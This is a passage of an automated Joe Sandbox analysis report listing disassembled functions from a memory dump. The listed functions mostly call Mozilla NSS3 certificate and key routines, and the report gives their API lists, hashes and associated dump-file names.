Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: 00d869b5061ca9b2ac6766d60c915f68d813d172a10e0d3eb9f0be496ff92662
Instruction ID: ae664c8bb7a760bb95369826bac31f384a73ad3332623e64857179559dfb8aaf
Opcode Fuzzy Hash: 00d869b5061ca9b2ac6766d60c915f68d813d172a10e0d3eb9f0be496ff92662
Instruction Fuzzy Hash: F8C18DB5A002199FDB20CF24CD85BDAB7B4BF48318F1481A8E948A7741E775EE95CF90

Function 6C7BC710 Relevance: 13.8, APIs: 9, Instructions: 271COMMON

Download Yara Rule

APIs

Part of subcall function 6C7BC590: PK11_DoesMechanism.NSS3(?,?,?,?), ref: 6C7BC5C7
Part of subcall function 6C7BC590: PK11_DoesMechanism.NSS3(?,?,?,?), ref: 6C7BC603

TlsGetValue.KERNEL32 ref: 6C7BC825
EnterCriticalSection.KERNEL32(?), ref: 6C7BC839
PR_Unlock.NSS3(?), ref: 6C7BC88B
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C7BC966

Part of subcall function 6C7BCA30: TlsGetValue.KERNEL32 ref: 6C7BCA95
Part of subcall function 6C7BCA30: EnterCriticalSection.KERNEL32(00000000), ref: 6C7BCAA9
Part of subcall function 6C7BCA30: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,00000000,?,6C7BC8CF,?,?,?), ref: 6C7BCAE7
Part of subcall function 6C7BCA30: PR_SetError.NSS3(FFFFE013,00000000), ref: 6C7BCB09

PK11_FreeSymKey.NSS3(?), ref: 6C7BC949
PK11_FreeSymKey.NSS3(?), ref: 6C7BC954
PR_SetError.NSS3(FFFFE028,00000000), ref: 6C7BC9A8
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C7BC9B7
PR_SetError.NSS3(FFFFE028,00000000), ref: 6C7BC9F9

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: ErrorK11_$CriticalDoesEnterFreeMechanismSectionUnlockValue$Item_UtilZfree
String ID:
API String ID: 1505861056-0
Opcode ID: ba3165fe0a670c4f763b29338ebbfbadde8d495014118c9ff910285f9a9e0e39
Instruction ID: e45de77421d0ea406fb607ca11252fcc29541e0a8b4425c291245db745e01c2e
Opcode Fuzzy Hash: ba3165fe0a670c4f763b29338ebbfbadde8d495014118c9ff910285f9a9e0e39
Instruction Fuzzy Hash: 23A17071E00209AFEB10DFA9DD85A9E7BB5BF48349F148038E809B7741E771E915CB90

Function 6C7906A0 Relevance: 13.7, APIs: 9, Instructions: 225stringCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C7906C2
EnterCriticalSection.KERNEL32(?), ref: 6C7906D6
PR_Unlock.NSS3 ref: 6C7906EB

Part of subcall function 6C81DD70: TlsGetValue.KERNEL32 ref: 6C81DD8C
Part of subcall function 6C81DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C81DDB4

free.MOZGLUE(?), ref: 6C7907DE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7907FA

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: CriticalSectionValue$EnterLeaveUnlockfreestrlen
String ID:
API String ID: 3527478211-0
Opcode ID: 42ed7e461564803c955d5d0fe0de4a78d3002c430ccc09dbfef5bd09f887be6e
Instruction ID: 11661c31f4abde9a806259fbc759d415d7ecde2cb83cc3a1a26bacb0f335453a
Opcode Fuzzy Hash: 42ed7e461564803c955d5d0fe0de4a78d3002c430ccc09dbfef5bd09f887be6e
Instruction Fuzzy Hash: 6081F8B19012049FEB009F64DE49AAA7BB4FF19318F054178DD199BB22E731E954CBD1

Function 6C7E4620 Relevance: 13.7, APIs: 9, Instructions: 221threadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE02F,00000000,?,?,?,00000000), ref: 6C7E4963

Part of subcall function 6C783090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C79AE42), ref: 6C7830AA
Part of subcall function 6C783090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C7830C7
Part of subcall function 6C783090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C7830E5
Part of subcall function 6C783090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C783116
Part of subcall function 6C783090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C78312B
Part of subcall function 6C783090: PK11_DestroyObject.NSS3(?,?), ref: 6C783154
Part of subcall function 6C783090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C78317E

SECOID_FindOID_Util.NSS3(?), ref: 6C7E465E

Part of subcall function 6C7D07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C778298,?,?,?,6C76FCE5,?), ref: 6C7D07BF
Part of subcall function 6C7D07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C7D07E6
Part of subcall function 6C7D07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7D081B
Part of subcall function 6C7D07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7D0825

SECOID_FindOIDByTag_Util.NSS3(000000BF,00000000), ref: 6C7E4709
SECOID_GetAlgorithmTag_Util.NSS3(?,00000000), ref: 6C7E4727
SECOID_GetAlgorithmTag_Util.NSS3(?,?,00000000), ref: 6C7E473B
PORT_NewArena_Util.NSS3(00000400,?,?,?,?,?,?,?,00000000), ref: 6C7E4801
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6C8A2DA0,?,?,?,?,?,?,?,?,00000000), ref: 6C7E482E
PR_GetCurrentThread.NSS3 ref: 6C7E48F3
PR_SetError.NSS3(FFFFE02F,00000000), ref: 6C7E4923
PR_SetError.NSS3(FFFFE02F,00000000), ref: 6C7E4937
SECKEY_DestroyPublicKey.NSS3(?,?,?,00000000), ref: 6C7E494E
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C7E4984
VFY_VerifyDataWithAlgorithmID.NSS3(?,?,?,6C7E21C2,?,?,?), ref: 6C7E499C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C7E49B5
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,00000000), ref: 6C7E49C5
PR_SetError.NSS3(FFFFE00A,00000000), ref: 6C7E49DC
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C7E49E9

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Util$Arena_Error$AlgorithmFreeTag_$Destroy$FindHashItem_LookupPublicTable$Alloc_ArenaConstCopyCurrentDataEncodeK11_ObjectThreadVerifyWithmemset
String ID:
API String ID: 1962444627-0
Opcode ID: 8a66ce2ef35e3eca3a4d1569095b93f9793e6c7a7f9fffc12bb71f99dee93427
Instruction ID: b0d3d4257b478c2eb802c27c039115999ee048c69693cc084bf733d29feaa4d1
Opcode Fuzzy Hash: 8a66ce2ef35e3eca3a4d1569095b93f9793e6c7a7f9fffc12bb71f99dee93427
Instruction Fuzzy Hash: 7F71E576E012055BFB108AE6DE84BAE7B65EF0D31CF144039ED15ABB41E731E844DB91

Function 6C772C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(5892708D), ref: 6C772C5D

Part of subcall function 6C7D0D30: calloc.MOZGLUE ref: 6C7D0D50
Part of subcall function 6C7D0D30: TlsGetValue.KERNEL32 ref: 6C7D0D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6C772C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C772CE0

Part of subcall function 6C772E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C772CDA,?,00000000), ref: 6C772E1E
Part of subcall function 6C772E00: SECITEM_DupItem_Util.NSS3(?), ref: 6C772E33
Part of subcall function 6C772E00: TlsGetValue.KERNEL32 ref: 6C772E4E
Part of subcall function 6C772E00: EnterCriticalSection.KERNEL32(?), ref: 6C772E5E
Part of subcall function 6C772E00: PL_HashTableLookup.NSS3(?), ref: 6C772E71
Part of subcall function 6C772E00: PL_HashTableRemove.NSS3(?), ref: 6C772E84
Part of subcall function 6C772E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6C772E96
Part of subcall function 6C772E00: PR_Unlock.NSS3 ref: 6C772EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C772D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6C772D30
CERT_MakeCANickname.NSS3(00000001), ref: 6C772D3F
free.MOZGLUE(00000000), ref: 6C772D73
CERT_DestroyCertificate.NSS3(?), ref: 6C772DB8
free.MOZGLUE ref: 6C772DC8

Part of subcall function 6C773E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C773EC2
Part of subcall function 6C773E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C773ED6
Part of subcall function 6C773E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C773EEE
Part of subcall function 6C773E60: PR_CallOnce.NSS3(6C8D2AA4,6C7D12D0), ref: 6C773F02
Part of subcall function 6C773E60: PL_FreeArenaPool.NSS3 ref: 6C773F14
Part of subcall function 6C773E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C773F27

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: c36c021531d7af97ebffe897e6f3a4cc4012e90828de995afd3167026f36e81a
Instruction ID: cdc0e03a429952cc83e0fecc831cab13dc491632f540fd8492627873f48fb8fe
Opcode Fuzzy Hash: c36c021531d7af97ebffe897e6f3a4cc4012e90828de995afd3167026f36e81a
Instruction Fuzzy Hash: 5F51D071A04219DBDF209F29CE4AB6B77E5EF94308F140438EC6583650E731E815CBA2

Function 6C798F70 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C78DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C798FAF
PR_Now.NSS3(?,?,00000002,?,?,?,6C78DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C798FD1
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C78DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C798FFA
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C78DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C799013
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C78DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C799042
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C78DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C79905A
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C78DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C799073
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C78DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C7990EC

Part of subcall function 6C760F00: PR_GetPageSize.NSS3(6C760936,FFFFE8AE,?,6C6F16B7,00000000,?,6C760936,00000000,?,6C6F204A), ref: 6C760F1B
Part of subcall function 6C760F00: PR_NewLogModule.NSS3(clock,6C760936,FFFFE8AE,?,6C6F16B7,00000000,?,6C760936,00000000,?,6C6F204A), ref: 6C760F25

PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C78DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C799111

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$InternalK11_ModulePageSizeSlot
String ID:
API String ID: 2831689957-0
Opcode ID: 9b3f4165ac404acdeaebde3b18a639ad97565ea33329adf2efc9118802add079
Instruction ID: a0071b91769593d7f384c70c3dc261745d0621799e88d77ec053b4499a0570e2
Opcode Fuzzy Hash: 9b3f4165ac404acdeaebde3b18a639ad97565ea33329adf2efc9118802add079
Instruction Fuzzy Hash: 79518974A046158FDF10EF38D688299BBF1BF4A318F055579DC499BB06EB35E884CB81

Function 6C786730 Relevance: 13.6, APIs: 9, Instructions: 150COMMON

Download Yara Rule

APIs

Part of subcall function 6C785DB0: NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C785DEC
Part of subcall function 6C785DB0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6C785E0F

_SGN_VerifyPKCS1DigestInfo.NSS3(00000000,?,?,00000000,?,?,?,?,?,?,?,?,6C786729), ref: 6C7867A0

Part of subcall function 6C7CA470: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C7CA4A6
Part of subcall function 6C7CA470: PORT_Alloc_Util.NSS3(?), ref: 6C7CA4EC
Part of subcall function 6C7CA470: memcpy.VCRUNTIME140(-00000006,?,?), ref: 6C7CA527
Part of subcall function 6C7CA470: memcmp.VCRUNTIME140(00000006,?,?), ref: 6C7CA56D
Part of subcall function 6C7CA470: memcmp.VCRUNTIME140(00000006,00000006,00000004), ref: 6C7CA583
Part of subcall function 6C7CA470: PR_SetError.NSS3(FFFFE00A,00000000), ref: 6C7CA596
Part of subcall function 6C7CA470: free.MOZGLUE(?), ref: 6C7CA5A4

SECKEY_SignatureLen.NSS3(?,?,?,?,?,?,?,?,?,6C786729), ref: 6C7867C0
PR_SetError.NSS3(FFFFE030,00000000,?,?,?,?,?,?,?,?,?,6C786729), ref: 6C786800
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C786842
free.MOZGLUE(?), ref: 6C786855
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C78686B
free.MOZGLUE(00000000), ref: 6C786874
PK11_VerifyWithMechanism.NSS3(?,-00000001,00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C786729), ref: 6C7868C1
PR_SetError.NSS3(FFFFE00A,00000000), ref: 6C7868D6

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Error$Utilfree$Verifymemcmp$AlgorithmAlloc_DestroyDigestFindInfoItem_K11_MechanismPolicyPublicSignatureTag_WithZfreememcpy
String ID:
API String ID: 1437015310-0
Opcode ID: 53e89101c10e53e16ecc37af95acad0935e29710ed8cba768af076380dbce5a9
Instruction ID: bf86c195e1fc5409bdbc4dec8e5d0bdc74dc78d38b45289f6ee4bade0ac33b61
Opcode Fuzzy Hash: 53e89101c10e53e16ecc37af95acad0935e29710ed8cba768af076380dbce5a9
Instruction Fuzzy Hash: BA51E5B0A012016BEB10CF69CD85B9B73F5EF85308F544438E95EDB741EA31EA05C7A1

Function 6C7F0480 Relevance: 13.6, APIs: 9, Instructions: 122stringfileCOMMON

Download Yara Rule

APIs

PK11_ExtractKeyValue.NSS3(?), ref: 6C7F04A3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7F04CF
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C7F0504
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7F050D
TlsGetValue.KERNEL32 ref: 6C7F05C2
EnterCriticalSection.KERNEL32(?), ref: 6C7F05D2
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?,00000001), ref: 6C7F05F0
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C7F0604
PR_Unlock.NSS3 ref: 6C7F0613

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Valuestrlen$CriticalEnterExtractK11_SectionUnlockfflushfwritestrcpy
String ID:
API String ID: 3396352255-0
Opcode ID: fce3af59402a4a899940fa38a37afaea32a2d885d043d017d68974c5f0b8a4ab
Instruction ID: eb58f05e538d28e98e1f9f5827825783538fe0b11f0cfc8357fa6096824970f1
Opcode Fuzzy Hash: fce3af59402a4a899940fa38a37afaea32a2d885d043d017d68974c5f0b8a4ab
Instruction Fuzzy Hash: 19417A72E002D59FDB21DF74CC40BA87B71AF12308F0885BAD85957742D730AAA5CBD0

Function 6C7C0750 Relevance: 13.6, APIs: 9, Instructions: 118COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,74720406,6C787296,00000000,?,6C7C44FE,?,?,?,?,6C787296,00000000), ref: 6C7C07AA
EnterCriticalSection.KERNEL32(?,?,74720406,6C787296,00000000,?,6C7C44FE,?,?,?,?,6C787296,00000000), ref: 6C7C07C7
PR_Unlock.NSS3(?,?,?,74720406,6C787296,00000000,?,6C7C44FE,?,?,?,?,6C787296,00000000), ref: 6C7C07E5
PK11_GetNextSafe.NSS3 ref: 6C7C0801
PR_Unlock.NSS3(?,?,?,74720406,6C787296,00000000,?,6C7C44FE,?,?,?,?,6C787296,00000000), ref: 6C7C0817
TlsGetValue.KERNEL32(?,?,?,74720406,6C787296,00000000,?,6C7C44FE,?,?,?,?,6C787296,00000000), ref: 6C7C0835
EnterCriticalSection.KERNEL32(?,?,?,?,74720406,6C787296,00000000,?,6C7C44FE,?,?,?,?,6C787296,00000000), ref: 6C7C084E
PR_Unlock.NSS3(?,?,?,?,?,74720406,6C787296,00000000,?,6C7C44FE,?,?,?,?,6C787296,00000000), ref: 6C7C0870
free.MOZGLUE(?,?,?,?,?,74720406), ref: 6C7C088F

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$K11_NextSafefree
String ID:
API String ID: 810312292-0
Opcode ID: ef2568bae07adae176cd60f2e6348927dae100a1d2ce858da93704beebf6af04
Instruction ID: 82f97d8f8ad32d11d0388ab363c95bf424347910d8305cdcb251c81b03215b77
Opcode Fuzzy Hash: ef2568bae07adae176cd60f2e6348927dae100a1d2ce858da93704beebf6af04
Instruction Fuzzy Hash: A6411CB4A04646CFCB10EF79C68856DBBF0BF05348F118929D89997B11EB30E994CBD2

Function 6C78E400 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 113COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000001,00000000,?,?,6C793F23,?), ref: 6C78E432
EnterCriticalSection.KERNEL32(?,?,00000001,00000000,?,?,6C793F23,?), ref: 6C78E44F

Part of subcall function 6C792C40: TlsGetValue.KERNEL32(#?yl,?,6C78E477,?,?,?,00000001,00000000,?,?,6C793F23,?), ref: 6C792C62
Part of subcall function 6C792C40: EnterCriticalSection.KERNEL32(0000001C,?,6C78E477,?,?,?,00000001,00000000,?,?,6C793F23,?), ref: 6C792C76
Part of subcall function 6C792C40: PL_HashTableLookup.NSS3(00000000,?,?,6C78E477,?,?,?,00000001,00000000,?,?,6C793F23,?), ref: 6C792C86
Part of subcall function 6C792C40: PR_Unlock.NSS3(00000000,?,?,?,?,6C78E477,?,?,?,00000001,00000000,?,?,6C793F23,?), ref: 6C792C93

TlsGetValue.KERNEL32(?,00000001,00000000,?,?,6C793F23,?), ref: 6C78E494
EnterCriticalSection.KERNEL32(?,?,00000001,00000000,?,?,6C793F23,?), ref: 6C78E4AD
PR_Unlock.NSS3(?,?,?,00000001,00000000,?,?,6C793F23,?), ref: 6C78E4D6
PR_Unlock.NSS3(?,?,?,00000001,00000000,?,?,6C793F23,?), ref: 6C78E52F

Strings

#?yl, xrefs: 6C78E409

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID: #?yl
API String ID: 3106257965-101552813
Opcode ID: 7d7c8a240e7c4d359135bdfad8d800b6f3a74fb67f6ca1f0be6449b45e55d6fe
Instruction ID: 3236ccec95d6cacd0ac5b819eafb621b53b54ac414554606c7860373e4d1d3a7
Opcode Fuzzy Hash: 7d7c8a240e7c4d359135bdfad8d800b6f3a74fb67f6ca1f0be6449b45e55d6fe
Instruction Fuzzy Hash: 80411DB8A056158FCB10EF78D68855ABBF0FF05308F054979E9999BB11E730E894CBD2

Function 6C788CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6C79124D,00000001), ref: 6C788D19
EnterCriticalSection.KERNEL32(?,?,?,?,6C79124D,00000001), ref: 6C788D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6C79124D,00000001), ref: 6C788D73
PR_Unlock.NSS3(?,?,?,?,?,6C79124D,00000001), ref: 6C788D8C

Part of subcall function 6C81DD70: TlsGetValue.KERNEL32 ref: 6C81DD8C
Part of subcall function 6C81DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C81DDB4

PR_Unlock.NSS3(?,?,?,?,?,6C79124D,00000001), ref: 6C788DBA

Strings

KRAM, xrefs: 6C788CF9
KRAM, xrefs: 6C788D3E

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

